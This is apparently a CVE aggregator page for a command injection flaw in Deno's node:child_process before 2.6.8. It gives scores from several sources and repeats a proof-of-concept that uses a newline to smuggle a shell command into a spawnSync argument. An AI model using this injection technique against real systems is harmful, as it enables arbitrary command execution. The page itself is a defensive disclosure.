CVE-2026-27190
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.1
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.
- Record
CVE-2026-27190- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2026-7794
8.1
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.
- Record
EUVD-2026-7794- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-hmh4-3xvx-q5hr
8.1
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Summary
A command injection vulnerability exists in Deno's node:child_process implementation.
Reproduction
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
shell: true,
encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));
Run: deno run --allow-all poc.mjs
The file /tmp/rce_proof is created, confirming arbitrary command execution.
Mitigation
All users need to update to the patched version (Deno v2.6.8).
- Record
GHSA-hmh4-3xvx-q5hr- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
8.1
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.
- Record
CVE-2026-27190- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV
8.1
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.
- Record
CVE-2026-27190- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVGHSA-hmh4-3xvx-q5hr
8.1
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
Summary
A command injection vulnerability exists in Deno's node:child_process implementation.
Reproduction
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
shell: true,
encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));
Run: deno run --allow-all poc.mjs
The file /tmp/rce_proof is created, confirming arbitrary command execution.
Mitigation
All users need to update to the patched version (Deno v2.6.8).
- Record
GHSA-hmh4-3xvx-q5hr- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVJLSEC-2026-116
9.8
Deno has a Command Injection via Incomplete shell metacharacter blocklist in `node:child_process`
Summary
A command injection vulnerability exists in Deno's node:child_process implementation.
Reproduction
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
shell: true,
encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));
Run: deno run --allow-all poc.mjs
The file /tmp/rce_proof is created, confirming arbitrary command execution.
Mitigation
All users need to update to the patched version (Deno v2.6.8).
- Record
JLSEC-2026-116- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-27190 is a high vulnerability (CVSS 8.1) in Deno, published February 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.46%, the 84th percentile. Fixed in deno 2.6.8.
References
github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr
github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c
github.com/denoland/deno/releases/tag/v2.6.8
nvd.nist.gov/vuln/detail/CVE-2026-27190
github.com/advisories/GHSA-hmh4-3xvx-q5hr
github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27190.json
github.com/denoland/deno